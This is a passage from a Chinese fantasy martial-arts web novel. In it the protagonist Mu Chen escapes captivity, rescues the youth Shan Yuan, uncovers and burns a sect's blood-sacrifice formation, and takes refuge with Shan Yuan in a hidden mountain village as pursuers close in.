“呵,”慕沉冷笑一声,也懒得装了,“我若是一早便开口,恐怕现在就像君秋恒他们仨一样受制于人了吧?”
“你——”叶展佑气笑,认为他油盐不进。见谈不成,甩了袖子就走人。临走前说了一句:“道不同不相为谋!”
总算能安静一会儿了。接下来,他就该专心想办法怎么出去。
就试探的功夫,他发现自己能够轻易摆脱手脚铐的束缚,形同虚设。只是这间屋子是个密室,仅有一扇铁门,别无其他,想出去还得靠外面的开门。
只要等下一个来见他的人武功在他之下,便能趁机离开。
不知过了多久,门终于被推开。此前慕沉已经挣脱了镣铐,就等着狼入室。他还没看清来人便先出招,对面那人反应很快,躲开了他的攻击,但也仅仅是一下,因为他发现对方武功并不高。
当他扼住对方咽喉之后,才看清此人,赫然是君秋恒。同时看到这间密室外的布局,是一望无际的走廊和四通八达的牢房。看来只有关押慕沉的地方比较特殊。
慕沉当机立断地放开对君秋恒的制约。
君秋恒只是松了口气,对于他挣脱束缚并不意外。然后拉着他往外跑,语调快速地说:“绝音阁如今生了乱子,已经无暇顾及你。不妨趁现在抓紧离开。”
他隐约能感觉到君秋恒所说的乱子,并不是那么简单,似乎是他从没见过的魔物在作乱。
只是这未免太凑巧,倒像是为了救他故意产生的乱子。于是他问:“为什么帮我?”
君秋恒愣了一下,回答:“现在不是说这些的时候。”
慕沉点点头,正要开口,突然瞟到旁边的牢房中关着一人。单缘与他对上眼。
他停下脚步,问身旁的人:“有利刃吗?”
君秋恒也看到少年,一下子就明白他的意思,掏出一把匕首。
慕沉接过后快速将锁撬开,扶起少年,小心避开对方身上又多的几处伤,道:“让你挡刀是我的错。不过还是先努力活下来吧,还走得动吗?”
单缘虚弱地点了点头。
出了牢房,慕沉很快认出这里离他先前住的厢房很近,他与两人告别后以极快的速度奔向厢房,随后毫不犹豫摔碎最显眼的那个花瓶,露出他一开始藏在此处的信物。
见信物还在,他松了一口气。单缘其实是个幌子,他不会把东西随便交予一个陌生人,只会藏在自己认为最安全的位置。毕竟最危险的地方就是最安全的。
他原路返回,发现君秋恒几乎还在原处时头都大了。好在先跑了一个。
“你怎么还在这里?”
“我从没打算过离开。”
这回让慕沉看不懂了。“若是乱子平定,单陔识发现是你所为又该如何?你不是有机会远离他的掌控吗?”
“我有机会,但不是现在。”
“……行吧,我必须马上走了。”慕沉不理解,但尊重。
绝音阁的水很深,这场乱子或许便是其中的一环,脱离了掌控。
他无暇顾及,这种事他管不着,但是手上的信物却成了棘手的事。闹了半天,他还是不知道这东西对单陔识的用处。
这次,回去的路总算没什么问题。慕沉离开之前顺走了一辆马车,速度不是快的一星半点。不远处他又与少年碰面,还是那座桥头。好在这次对方并没有轻生的念头,只是脚程有些慢罢了。
他将单缘安置在马车里,迅速朝城方向行驶。
不久就在医馆停下,叫大夫查看少年的伤势。大夫懂是拿钱办事的,啥也没多问。慕沉趁包扎的时间帮少年买了套衣服,再次留了些银两,嘱咐了一些话,便不得不离开了。
“前辈!”单缘叫住他,“你要去哪?”
慕沉头一次听别人叫自己这样的称谓,竟有点不知所措。他如实回答:“我回家办事。”
“那我……还能再见到你吗?”少年自知自己如今对于慕沉是个累赘,不敢多求。
慕沉思考一番,回答:“有缘自会相见。”
他认为自己帮少年已经够仁至义尽了。他不再回头,知道他们这辈子或许都不会再见。
有了交通工具后的出行效率都变高了,慕沉很快就回到自己居住了五年的密林,将马车停靠至方便的地方,徒步走进林子深处。
可是小院寂寥,并无人烟。房屋也是敞开的。屋内没有看到义父义母,四周是乱糟糟的,像被人肆意破坏过,其中他们平常吃饭用的桌子上有明显的刀痕。他上手轻拂下一层薄灰,这是爱干净的义母最无法忍受的,显然已经有一段时
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间无人居住。
可他离开这里也不过七天,看样子,只能是他前脚刚走义父义母就马上离开。
慕沉又突然想起何初自从那日分开后就再也没联系过。他尝试着用传音联系何初,过了将近一个时辰却还是杳无音讯。
他的心逐渐沉了。
最坏的结果就是仇家找到义父义母,以及何初被鸿琛堂扣押,说不准危及性命。
不过再观义父义母之前的神情,似乎一早就料到这件事,不然也不会着急赶他们走。况且以这两位长辈的资历和城府,不至于那么容易出事。
鸿琛堂他倒是知道在哪,干脆先去确认何初那边有没有出问题。
次日晚上,慕沉已经到山的另一头,却几乎认不出那里曾经是他待过的地方——眼前尸骨横山,与乱葬岗并无分别。
他谨慎地绕开走,隐约听到细索的声音,不免打了个寒战。月黑风高,指不定有什么“不干净”的东西。
而后“砰”的一声,重物砸地的声音,伴随着两人低语。
“师兄,这个月竟然只有一个。若是照这么下去,以后遭殃的说不定就是我们……”
“你知道的,长老们向来来者不拒,只不过这种事不能明面上说。放心,若是长老真要灭口,对我们来说未尝不是好事,至少我们有了可以威胁他们的筹码。”
等两人鬼鬼祟祟地离开,慕沉上前查看,一具尸体被随意丢在一边。看这娴熟的样子,这两人一定没少做这种事。说不准这尸山就是那二人“不可告人”的事给堆出来的。
他凭着记忆寻找路线,竟和那二人同路。
这两个师兄弟停下脚步,转过身,显然是发现了慕沉。
“这位仁兄,跟了我们许久,不妨表明来意?”那师兄率先开口。
“一场误会,在下不过顺路。”
夜半三更,不去睡觉却出现在了人迹罕至的山脚,好像确实显得目的不纯。
于是慕沉接着按自己惯用套路解释道:“在下仰慕鸿琛堂已久,途经甚远来此为一睹真容,二位真是误会了。”
听到慕沉的说辞,俩师兄弟相互对视一眼,师弟眼神中透露出欣喜,师兄倒是皱眉了一瞬。不过显然,“鸿琛堂”三个字一出,他们立马对慕沉起了兴趣。
看他们神色,慕沉几乎确认了他们是鸿琛堂的弟子。
这么凑巧?
若是按照这两人在“乱葬岗”中的说法,所谓的“来者不拒”应当是对外来者,那么与他早些年前求师时何初的说辞相悖。
何初阻止外人进入鸿琛堂,看来是知道其中的牵扯或秘密。既然脱离了潜在的危险,那他如今又回去做甚?
慕沉来这不为别的,就是想尽快找到何初。那他既然想打探消息,这里不正好有两个现成的吗。
16. 夜伴红尘染风霜
“在下看二位道友衣着不凡,莫非出自哪家的大门大派?”
那师弟心眼子少,很容易就被套话:“我们正是出自鸿琛堂。”
慕沉面露惊喜之色,接着试探:“太好了。其实不瞒二位,在下的远房表弟也在鸿琛堂,此番前来还有一个目的就是探亲。”
“探亲?”那师兄目光一凛,防备更深。
“是,探亲。”慕沉接着笑说,“据说他还是鸿琛堂的大师兄,不知你们是否听说过?他叫——”
说时迟那时快,慕沉还没念出“何初”这个名字,他二人便拔剑向他刺来。
慕沉迅速躲开,三人瞬间开始二打一的局面。
不过他并不想浪费时间和精力在这上面,自从离开绝音阁后,慕沉就逐渐减少耐心,很快他就趁其不备将那名师弟挟持,剑锋架在对方脖子上。
慕沉意味不明笑了笑,开口:“二位是何意?看来我这位‘远房表弟’在门派中人缘不好啊。”
“放开他!”那师兄对慕沉大喊。
“可以。”慕沉无所谓地笑了笑,“带我去找何初,不要惊动任何人。”
“……好。我带你去,别伤他。”
“自然。”慕沉二话不说将剑收回剑鞘,看着二人,警告似的看着他们,“希望你们能安分些,我的剑没长眼睛。”
那名师弟不自觉缩了缩自己的脖子。
路上他才知道,那师兄叫沈别宇,师弟叫莫池开。
深夜中,鸿琛堂一副死气沉沉的氛围,任谁来了都要打个寒颤。这里阴气重得跟乱葬岗不相上下,根本不似一个正常的门派。
他皱着眉,目光不由得看向这两个师兄弟。
他们没有察觉慕沉的目光,探手探脚地在前面带路。将慕沉带到一个极为隐蔽的小阁楼后,终于停下。
沈别宇呼了口气,看着慕沉,示意道:“大师兄就在里面。”
慕沉观望一番,没有回应,盯着对方反问:“鸿琛堂,在做什么见不得人的勾当?”
沈别宇面色一沉,皱着眉看向他。
慕沉刚刚尝试与何初传音,没有听到回应。而这种情况无非两种原因:两人相隔十万八千里,或者法术屏障。
他私下尝试催动法力,并无阻碍。那显然不是第二种。
他一步一步靠近二人,神色晦暗,不动声色将剑柄握紧了几分,冷笑着开口:“骗我?”
“你……”二人自知不是慕沉对手,不自觉后退。
“你们抛尸之时,我正巧碰上。你们门派的事我尚且管不着,只要告诉我何初在什么地方,今天晚上的事我就当作没看到。”他淡淡地说。
一场无声的对峙拉开帷幕,双方都握紧了手中的剑,有各自的思量。不过慕沉有种不怕死的精神,气场十足,僵持了一会儿,对方终于败下阵。
这时,莫池开叹气,似乎是妥协,亦或是怕他真做出什么不利己的事,率先开口:“大师兄不在这里。”
“池开!”沈别宇低喝一声,拉住对方的手,似乎想阻拦他。
莫池开无声对师兄摇了摇头。末了,沈别宇终是也叹了口气。
“什么?”慕沉愣了一下,有些不相信。
“大师兄不在这里。”对方又重复一遍,语气笃定,不似作伪。
“那他在哪?”慕沉接着问。
“我们也不知。这里只不过是鸿琛堂小小的一支,也许他在总堂。”
不过一个门派,竟有总部分支一说,倒是让慕沉有些措手不及。
“总堂在何处?”
“不知。”此话二人倒是同时开口。
他二人答的倒是爽快。慕沉蹙眉,“为什么,你们不是门内弟子吗?”
“我们身在一隅,不过是普通弟子,自然是无权知道。”面对他的追问,沈别宇也是万般无奈,可事实如此,纵使慕沉想知道更多也不能。
既然线索断了,慕沉自然不会多待,他正要离开此处,二人欲挽留之际,突然传来一个人声:“别宇,池开,这么晚了,你们来这里做甚,还带着一位生人?”
此声很有压迫之感,听着就像阅历丰富的长辈。慕沉转头,作出防备架势,只见一位气场十足的中年男子缓缓走来,深夜的阴影下看不清此人的眼神,听着语气像是在质问他们。
“单长老,我——”沈别宇正欲解释什么。
姓单?难道是绝音阁的什么人?慕沉来不及细想,对面这位长老带着杀意朝他砍来,随即慕沉敏捷躲开,与对方来回打斗。
“长老姓单,可与绝音阁有什么关系?”慕沉躲闪问着,不知对方底细,不想产生正面冲突。
语毕,单长老停下对他的攻击,神色不明地问:“你是何人?”
“回长老,他是来找大师兄的。”沈别宇抢先回答。
慕沉皱眉,沈别宇说这话便让他确定了这位单长老并不是他要找的人。
单长老嗤笑一声,面色不善开口:“既然是来找他的,那就不是一路人!”说着,再次拔剑朝他攻击。
“那真是可惜了。”慕沉眼神一暗,不再躲闪,与之正面对抗。
两人约莫交锋了一刻钟,双方实力竟几乎不相上下,单长老好歹是个资历深厚的长老,却也只是让他受了点皮毛伤,跟他刚来这里时相比武功可谓一飞冲天了。
单长老消耗过甚,渐渐力不从心,似乎也没料到眼前这人能与他僵持不下,连忙瞪了旁边那两个没眼力见的师兄弟,没好气喊道:“你们俩还愣着干什么?还不过来帮忙!”
俩师兄弟无声对视一眼,纷纷拔剑,加入这场战斗。
这场混战形成三打一的局面。
只是,单长老始料不及,自己竟然成为众矢之的,怒骂道:“你们两个要造反吗!”
无人应答,只有更加凌厉的剑意,想要置之于死地。
这场混战,终是以沈别宇把剑架在单长老脖颈处结束。
沈、莫二人猝不及防的反水,料是慕沉也不知何意。不过横竖对他来说都没什么坏处。
“你们两个叛徒!”单长老怒极,连咳了几声,全然不顾形象,一个劲的瞪着沈别宇,刚要开口,便脖子一凉,已是见血封喉,一句话也说不出。
沈别宇挑剑一抹,单长老脖子顿时多出一道血痕,似乎没想到对方会那么干脆,鲜血喷涌而出,单长老在不甘和愤怒之下渐渐没了生机。
这个过程快得让慕沉恍惚了一下,一旁的莫池开更是冷漠地看着。
末了,沈别宇慢条斯理地擦了擦剑上的血迹,附加一句:“死有余辜。”
三人沉默了半晌,不知话从何出。最终还是慕沉先开口:“看来你们等这一天很久了。”
师兄弟二人神情从未有过的轻松。
“
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没错。”莫池开说。
二人不知为何渐渐放下对慕沉的防备,带他走进这隐蔽的楼阁之中。
楼阁中确实不见何初,而是一个充满密咒秘语,纷杂繁乱的血阵。或许,这便是鸿琛堂的勾当。
“此阵原为复生阵,是用来救治濒死的子弟。”沈别宇垂了眼眸,对他解释,“后来,就变成如今这番,嗜血如常的诡阵,凡入阵者,没有一个能从此阵活着出去。”
“如此邪魔外道,竟然不封起来?”慕沉问。
“这便是长老们贪心不足了。他们将人当作祭阵者,不断修改阵法形态。起初是死人,后来连门内弟子都不放过,如今这个堂内已经不超过十人。”沈别宇平静地说,仿佛已经习惯。
“各地的鸿琛堂都是如此吗?”慕沉皱眉。
莫池开点了点头,“总堂有过之而无不及。至于他们究竟要做什么,我们这些做弟子的根本无权过问,只能看着一个个师兄弟不断被除名。我与师兄能存活至今全仰仗师兄足智多谋。”
沈别宇面色复杂地拍了拍莫池开的肩。
慕沉往单长老的方向望,淡淡开口:“看来确实是死有余辜。”
难怪先前何初阻止他入门派,直接是救了他一命。原来数年前鸿琛堂开始做这种诡秘之事了吗。
“对了,”慕沉想起来,“这个单长老跟绝音阁有什么关系?”
“关系匪浅。”沈别宇严肃地回答,“他必然跟绝音阁阁主有鸡鸣狗盗之事。”所以刚才才故意抢先回答,目的就是激怒单长老。
“那你知,绝音阁前任阁主现在何处?”
沈别宇愣了一下,随即说:“如今的阁主是不会留一个祸患的。”
他沉思了一会儿,不知接下来该做什么,转身打算离开。
“等等!”师兄弟二人同时挽留。
慕沉疑惑地看着他们。如今门派中唯一的主使已经死了,就算总堂知晓也必定会成为弃子,是去是留皆由他们意,“还有什么事吗?”
“此阵祸害人间,不知何解?”莫池开问。
他想了想,问:“此阵有什么忌讳吗?”
“……有。五行。”
“五行?怎么会有阵避开五行?”他刚说完便恍然大悟,“也对。五行相生相克,此阵违背了伦理纲常,为世间所不容。如此便简单了。”
说完,慕沉打了个响指,一簇火苗瞬间点着此阵,有愈演愈烈的趋势。
将它烧了,就是最好的办法。
出了楼阁,大火瞬间将其淹没,曾经的罪恶也将埋藏在此。
二人是从未有过的轻松。沈别宇神情愉悦地看着慕沉,说了一句:“看来‘他’没骗我。”
“什么?”慕沉感到莫名。
“‘他’告诉我,会有一个人来解决这里的一切。‘他’说的那个人‘或许’是你。”
“‘他’是谁?”慕沉闻言皱眉,楼阁火海印在他的眼眸,被埋藏的不仅仅是罪恶,还有“真相”。
他来此处从来只有一个目的。或许他们二人从一开始对他的防备是假,试探是真。若自己真是“那人”所说之人,那么此人必然知道何初与他之间的关系。
“你们会再见的。”沈别宇不再说更多。
“罢了。”末了,慕沉看着即将烧成灰烬的地方,冷漠地留下一句:“死不足惜。”而后头也不回地离开。
17. 逢少年渡险同游
那封本该交到单阁主手中的信,如今在他身上,仿佛有千钧之重。
最终他将信拆开了。
“……梓瑜贤弟,何某不才,今重事缠身,唯恐牵连,望多照拂。”
竟然还真如慕沉所猜想,是一封托人信,送信者便是所托之人。只是信中未曾提何初半句,想来他们一早就知道何初会做什么。
既知缘由,慕沉又有什么理由去妨碍他们,找他们不是纯纯添乱吗。
话虽这么说,他独自一人走着,仿佛孤魂野鬼一般飘荡,似乎这个世界已经没有他存在的价值,是个人都能看到他如今落寞的神情。
对他来说,那是好不容易找到的家人,又散了吗?
慕沉魂不守舍地游荡,思绪不知已经到了什么地方,这时突然来人与他撞了个满怀。
此人戴着斗笠,低着头,慕沉看不见面容,只听对方对他道歉:“对不起!”
这人似乎很着急的样子,道完歉就要跑开,很明显是要躲什么人。
只是慕沉拉住了对方的手腕,被猝不及防地这么一拉,此人抬头,如他所料,正是单缘。二人对视,慕沉却发现对方的眼神,全然像在看一个陌生人。
“嗯?不认识我?”慕沉疑惑。
“阁下是?”
他正要接着问,单缘不动声色地往不远处望了望,很快收回视线,压低斗笠着急着说:“阁下,我真的得走了。”还没等他开口就急匆匆跑了。
慕沉没继续拉住他,往单缘刚才的视线方向看去,熙熙攘攘的人群中有几人正拿着画像寻人,还有贴在各处的墙上,十分显眼,只不过刚才他在想事情才忽略了。
这些寻人贴,说是寻到人重金酬谢,变相地成为通缉令,不用多想,都知道是谁的手笔。
结果没跑多远单缘还是被抓了。绝音阁派出大部分人手,仿佛将单缘抓住是势在必行。
只是对一个势单力薄的少年下手,那么必然是对方身上有什么价值。
慕沉扶额,好不容易带其逃出,要是再被抓岂不是白费他一番努力了?况且他如今对绝音阁实在是没什么好感,当了这么久的良民却在那吃了牢饭,好没道理。既然如此,他偏不能遂了单陔识的愿。
救人救到底吧,也算是积攒功德了。
他有预感,这少年与前阁主关系匪浅。就算没关系,他也要让单陔识吃一回瘪。谁叫他初生牛犊不怕虎,还没得罪过人呢。
慕沉随处买了一个面具,戴上后在偏僻处设下一阵,随即一路尾随至城郊,离开了人多的地方便“大施拳脚”,火速带人甩开那些抓少年的人,匆忙之下竟全然不在乎形象,搂着对方的腰就开启阵法逃离。
单缘还有些挣扎,不过只有一些。可能在试探他吧。
等到了偏僻处,慕沉顺势松开手,摘下面具,同时安抚对方:“别怕。”
对方还是用陌生的目光看着他。
慕沉终于忍不住问了:“你真不认识我了?”
“我……”单缘眼神似乎有些躲闪,犹豫地说,“我不记得了……”
他走的这段时间里,究竟发生了什么让少年失忆?
“这样,我先带你远离这里,以免再被抓。”
单缘有些警惕地看着他。
慕沉无奈向对方解释:“不管你记不记得,我们以前认识。”
可能他的语气比较有说服力,打动了对方,单缘最终点了点头。
慕沉算是松了一口气。他这才打住此处离绝音阁已经隔了一座城,料想单缘这一路定然不容易。
他们谨慎藏匿,慕沉多帮单缘打掩护,来到附近的山上。
原想找个道观待几天,不曾想丛林的深处竟有一座村落。怕是绝音阁的手伸得再长,也找不到这个地方。
“莫闻村?”慕沉看着村口的石碑,念出声。
村民似乎有些诧异他们两个外来之人,直接把村长叫来了。
慕沉也不提他们躲绝音阁的事,而是告诉村长,他们在城里没了生计,偶然找到这个村落。
村里也是很乐意接纳他们,打听了才知道大部分村里人来这里的原因跟慕沉说的都大差不差,也算是歪打正着。
村长安排了一个姑娘给他们带路,原来这姑娘的邻居好巧不巧几天前就离开山里,房屋就空了下来,正巧能让他们二人住下。
“慕公子,你们初来乍到的,”姑娘朝他微微一笑,风情万种,“有什么需要我帮忙的,喊我一声就行。我叫罗依婧,就住在你们隔壁。”
“好,多谢罗姑娘。”慕沉微笑回应。虽是这么说,真有事怎么可能麻烦一个姑娘。
说完,他们便各自忙活。
在收拾屋子的间隙,慕沉问单缘:“那你还记得那些抓你的是什么人吗?”
单缘顿了顿,回答:“我知道他们是绝音阁的人,但我不知道他们为什么要抓我。”
估计绝音阁都是少年后来打听的吧,慕沉想。
“你知道自己为什么失忆吗?”他一边擦桌子,一边问。
“……知道。”单缘神色不明,“我……大抵是染了风寒,身体发热,一觉醒来就忘记了之前的事。”
“这样啊……”慕沉若有所思。
此后二人便不再对话,而是专心打扫房间,就这么忙活了一下午,其间还多搭了一张床,还算干净利落。这么一看,竟有一丝家的温情,让他不禁有一些恍惚。
慕沉不经意间瞥了单缘,说:“你衣角怎么缺了一块?”
单缘解释道:“可能是刚才打扫卫生的时候不小心刮到了……”
“我看不像是刮坏的啊……”慕沉笑了笑,“等下再换吧,你会做饭吗?”
“不会……”单缘似乎有些难为情。
“那你帮我打下手。”说完,慕沉直接拉着单缘往厨房去。
……
茶余饭后,正是闲聊的好时机。
不知为何,他忽地来了兴致,搬来一个躺椅就随便往院子里一摆,直接躺了上去,顺便招呼单缘过来。
单缘很是听他的话,也搬
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来一个椅子,在慕沉旁边坐下。
只是他观对方有些拘谨,明明有靠背,却仍是正襟危坐,仿佛接下来要面对的是慕沉的发难。
“你这么坐是干什么?”慕沉无奈,“放松点,你都跟我相处了一天,就算我想害你早就做了。”
单缘有些干巴地解释:“我没不信你……”
“那就行。”慕沉对单缘没多少防备,因为他知道对方与他之间并没有纠纷,况且单缘如今失忆,对他更是没有半分威胁。
趁着天色尚早,他便以一个故事的形式讲述他曾经在现代生活的点滴,津津乐道的,算是倾诉自己尘封多年的秘密,也不管对方听没听懂。
他很久没有回想以前的事了,也从来不曾说过。今天不知为何突然向一个认识不久的人袒露。
可能是此情此景此人,正正合适吧。
而单缘失忆后更是没什么心眼,仿佛与他相处半天就放下了心防,在一旁默默听着,很认真很认真,给了他前所未有的满足感和松弛感。
等他讲完,他想起什么,便问对方:“你如今还记得自己的名字吗?”
少年愣了很久,也想了很久。似乎有些失落:“不记得了……”
慕沉拍了拍他的肩,说:“不记得就算了,不失为好事。”
这时少年目光灼灼地看着他,问:“慕……哥说我们之前认识,想必应当是知道的。”
他有些诧异对方突如其来的称呼,挑了挑眉,但笑不语。
少年躲开他的视线,稍稍偏过头,不经意间露出微红的耳根,似乎觉得这声“哥”确实突兀,有些不好意思。
慕沉没继续逗弄对方。他自然是知道少年的名字,但决计不会主动告诉对方。对他来说,少年还未及冠便受了许多苦楚,就算想起了也不见得是好事。他不知对方是如何想的,至少他想顺其自然,能想起来便想起来,想不起来就算了,重新开始生活也很好。
慕沉对少年摇了摇头,轻声说:“从前的种种得靠你自己记起来,既然上天给你一个重生的机会,你为何不给自己取个名字呢?”
少年听后,久久说不出话来。他很认真地在想,至于在想什么,慕沉不得而知。
少年不语,慕沉就静静地看着他,等着他。半晌,少年打破了沉默,有些失落:“对不起……我不知道。”
“不用道歉。”慕沉叹了口气,“说明你还没有打算重新开始。不过只要你愿意,那就可以。”
“嗯……”少年神色复杂地看着他,应答。
……
还以为真能过安生日子,结果没几天村里就有传言,有村里人无意间在外头看到一大批人往山上走,在找什么东西。只不过村民有恃无恐,根本没当回事,还说这么多年了也就慕沉他们二人找来了这。
但以慕沉这种不必找麻烦麻烦自己就会送上门来的体质似乎猜到最后可能会是何种结果。
只是如今还没有确切的消息,他们仍然待在小院子里,过着还算惬意的生活。杞人忧天没必要嘛。
18. 聊夜半真情显露
那些人不知是得到了什么消息,似乎十分笃定他们要找的人就在山上,已经连着搜了十天,可能再过不了几天就找到这里了。
慕沉单缘二人都打听到这点事儿,毕竟也不是什么秘密,彼此心照不宣,仿佛静待那天的到来。
山间一旦到了半夜时分,更深露重的,透着一股凉意。
不过慕沉不惧凉,就喜欢躺在小院中的椅子上,悠哉悠哉地晃着,闭着眼睛小憩。
一阵微弱的脚步声越来越近。慕沉只听声音便知道是谁,毕竟这里只住了两个人。
倒也不是刻意小声,只是这大半夜的没点灯,伸手不见五指,少年全然是摸着黑一点点靠近他的。也没多想少年为什么不点灯。
慕沉也没睁眼,随口说了句:“你来了。”这句道得稀松平常,这才意识到,他们竟相处了一月有余。
今日的气氛非同往常,他猜想,少年也该和他谈点什么了。
少年没回答他,等摸索到躺椅的把手,碰到他手臂的时候很快就缩回去,然后双手扶着把手跪在他的旁边,全程没有一点动静。
慕沉似乎听见少年深吸一口气,睁开眼,却什么也看不清,微弱的月光没有半分作用。
少年在他身旁,应该在看着他。
“怎么了?这么晚还不睡。”慕沉又闭上眼,漫不经心地说。
“我睡不着。”少年轻声说道,“我想有些事,还是应当告诉您。”
“那聊聊天也是不错的。”慕沉神态慵懒,虽然对方看不到。同样,他也看不到对方是何神情。
“……对不起。”少年的声音有些颤抖,似乎是犹豫了很久才决定开口,“慕前辈,我骗了你。”
慕沉一愣,回想上次听到“前辈”二字也是出自少年之口,不过那应该是几个月前的事了。听了几天的“哥”,如今又当上前辈了。他睁眼便是天空,依旧是一望无际的黑,面不改色地问道:“你想说什么?”
“我……”少年双手握着把手更紧了些,“我其实没有失忆。”
慕沉轻笑一声。
这声笑却不带半分轻蔑挑衅之意,反而释然,仿佛是“早知如此”。不过听者有意,慕沉也不得而知。
虽然他们二人都看不见彼此,但他还是往少年声音的方向望,挑了挑眉,轻描淡写地说:“我还以为你不打算告诉我了呢。”
对方好一阵沉默。
“怎么,很惊讶吗?”慕沉有些好笑地说。
“……前辈当真是神机妙算。”
“所以你今天告诉我,是想做什么呢?”慕沉轻声问,却没有让对方回答的意思,“先让我猜猜,是不是想让我帮你解决掉单陔识?”
少年跪着,身形更加板正,静默不语。
“怎么不说话?”慕沉等待对方的回答。
周围安静得可以听见微风吹拂,甚至是彼此之间的呼吸声。不知是错觉,他似乎听到对方的心跳声,难道被戳穿导致有点局促不安?
“……是。”半晌,少年开口。
慕沉终于是等到了少年的承认,若有若无地笑了一下,继续问:“那为什么现在才告诉我?”
现在是什么时候?是半夜黑灯瞎火,完全看不见任何东西,是绝音阁的人即将找上门,也是他跟少年相处了很多天之后。慕沉挑了挑眉。
“那群人来搜山时我就想……”少年低声答道,有如一个做错事的孩子在认错,“但一直不敢。”
居然纠结了这么多天。
“为什么不敢?”
“我骗了前辈,怕前辈生气。”少年如实回答。
对方攥住慕沉的衣摆,整只手微微颤抖。
“你想利用我?”慕沉并非责问,只是想确认一些事。陡然感觉到自己的衣摆被拽住,不免有些奇怪。
他拍了拍对方的手,少年一阵紧绷。他顿时敛起笑意,似乎察觉有哪里不对劲。
少年不说话,慕沉也看不见对方在干什么。他随手打了个响指,院中桌子上的蜡烛点燃,只是夜间湿气太重,没一会儿就灭了。
不过这一瞬的光足够他看清对方。少年跪在他面前,姿势十分标准,就像是已经家常便饭了,让他不禁眼角一突。
紧接着又是一片黑暗。
慕沉蹙眉,连摇椅都不晃了,神色不明地看着少年的方向,虽看不见,却仿佛在黑夜中对视。他很平静,似乎理解了少年的行为,但还是开口问:“你这是做什么?”
“我……”
“你先起来说话。”慕沉打断,拉住他的手臂,想把他拽起来。
但少年是有点执拗在身上的。
“不是……”慕沉有些无奈,“你这是跪给谁看?”
“对不起……前辈。”少年只是干道歉。
“我要是没点灯,你是不是要跪一晚上?再说了,你怎么就知道我生气了?你现在这样我才真生气。”慕沉微微沉声,自知劝不动他,只好从椅子上起来,走到少年身后背对着他。
少年察觉,目光一暗,垂下头,再次深吸一口气,壮着胆子问:“慕前辈,能做我的师父吗?”
他语气很轻,似乎是没有底气。不由得让慕沉想,对方是考虑了多久,才敢提出?还有为什么?
“嗯?”慕沉没料到对方如此生硬地转移了话题,当即思考一番,果断回答:“嗯,我不答应。”
没等少年失望还是难过的反应,他继续说道:“原因有二。其一,我学艺不精,不足以为人师;其二……”
慕沉顿了顿,语气不容置喙:“你给我坐到椅子上去!”
随后一声动静,少年真的乖乖坐在面前椅子上。
他当即又体验了一把盲人的感觉,摸到对方确实是待在了椅子上。
居然还算听话。慕沉想。
他在少年身旁蹲下,虽然看不见,兀自与其视线齐平。而后叹了叹,道:“我都还没说什么,你就给自己找罪受。”
少年低落地坐着,在为慕沉拒绝他的话语伤心,小声说:“可我以前……”
“以前怎么了?”慕沉轻声细语,在安抚对方。其实不用说,他大概也能猜出几分。
少年以前的日子定然是不好过的,至少在单陔识上位之后。至于更前,想必是个不谙世事的公子哥。毕竟他没听说过前阁主有什么虐待人的倾向。
“算了,不必提起。
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”慕沉怕戳到对方痛处,勾起什么不好的回忆,转而开口,“我可以教你一些本事。”
少年猛地抬头,看着他的方向。顺势喊了声:“师……”
“父”字还没来得及说,慕沉就连忙打断:“打住。我只答应了教你一些本事。”
“哦……”少年悻悻地垂眸,“我想学剑,先生。”
先生?这是又换了一个称呼。慕沉有些好笑,挑了挑眉,问:“之前叫我又是‘前辈’又是‘哥’的,现在怎么又改了?”
少年看不见他的神情,却能听出他话语中别样的意味,在黑暗中偏过头,低声说道:“不改了。先生。”
“你说什么是什么吧。”慕沉笑意渐显,“想什么时候学?”
“天亮。可以吗?”少年犹豫地问。
“可以。”慕沉当机立断。
“会不会有点晚了?”
“今年贵庚?”他突兀地问了一句。其实跟这个没关,不过还是走个形式。
“……约莫十九。”
慕沉笑了笑,“怎么,你连自己的年龄都忘了吗?”
少年沉默不语。天色正逐渐亮了一些,虽然只有一些,不过尚能看清彼此的身影轮廓。
他目光不自觉投向对方的膝盖,欲言又止。
“你想什么时候学,都不晚。”这是义母教他的。如今,他又原话交给少年。他将一只手掌覆在对方膝盖上,另一只托住小腿,带着巧劲揉起来。
少年被这突如其来的感觉吓一跳,有些想躲开,拉住他。
慕沉轻轻“啧”了一声,拍开对方的手,继续揉着,嘴上还不忘吐槽:“帮你呢,安分点。没见过这么折腾自己的。怎么不去折腾别人?”地面上都是碎石,跪着没反应吗?
“我又打不过其他人。”少年收回被拍的手,摸了摸,小声嘀咕着,目光盯着慕沉手上的动作。
“不对,我看你挺能折腾我的。”他眯了眯眼,神色不明地看着少年。
少年一听此言,又一次别过头,默不作声。
没等到对方有什么反应。慕沉笑了一下,换另一只腿揉。
少年的手攥紧,又松开,又攥紧。“先生。”
“嗯?怎么了?”慕沉对这个新称呼接受良好。
“其实不用这样的……你在关心我吗?”少年认真地看着眼前这个人,自从认识他以后,仿佛只要一直待在他身边,就什么事都不用担心。
慕沉似乎感受到对方的视线,抬起头与之对视,微笑回应:“你自己觉得呢?”
少年自然是这么想的。他也许明白慕沉的话中意,低声说:“谢谢先生。”
末了,慕沉扶着少年起身,看着他走了一圈,行动没什么问题。也许人家早就习惯,也许他小题大做了。
也许他只是不想因此产生负罪感。对啊,他有什么好愧疚的,又不是自己罚少年跪的,况且他没有理由,也没有身份这么做。
所以少年这么做,是把他当作什么身份?不由得让慕沉眯了眯眼。
真正天光大亮之后,还没来得及教对方,他才惊觉:好像还是学的有点晚。为什么呢?因为绝音阁的人已经找上门了。
19. 惊莫闻各显神通
“慕公子,单公子,”罗依婧在自家的院子里晒衣服,看到隔壁的他们都拿着一根木条比划着,大抵是在习武,有些稀奇,用轻快的语气笑着说,“你们今日怎么习起武来了?”
他们双双回头,正要回答,一阵杂乱的脚步声震得村子都颤了一颤。
罗姑娘转过头,望着远处的村口,朝那边的村民大喊一声:“你们那边怎么了!”
这时,一个身形彪悍的中年男子气势汹汹地提着大刀,骂骂咧咧道:“天杀的,他们真敢上山!老子出去把他们宰了!”此人经过二人院落时,还不忘给他们打个照面,正是前两天还接济过他们二两肉的赵猎头。
“等等呀赵大哥!”罗姑娘赶忙放下手中的衣服,小跑至赵猎头跟前,“我跟你一起去。”
“你去干什么?姑娘家的。”赵猎头似乎有些不满。
罗姑娘嘻嘻一笑,默不作声。
……这两人行动迅速,一下子就没了身影。
众户居民皆听见赵猎头的大嗓门,纷纷出户,拿着趁手的工具就往村口赶——有拿榔头的,有拿锄具的,甚至还有拿鸡毛掸子的。
慕沉眼观一个个村民上赶着去送死,不免的有些冒汗。来的那群人可是正经修炼过的修士啊!
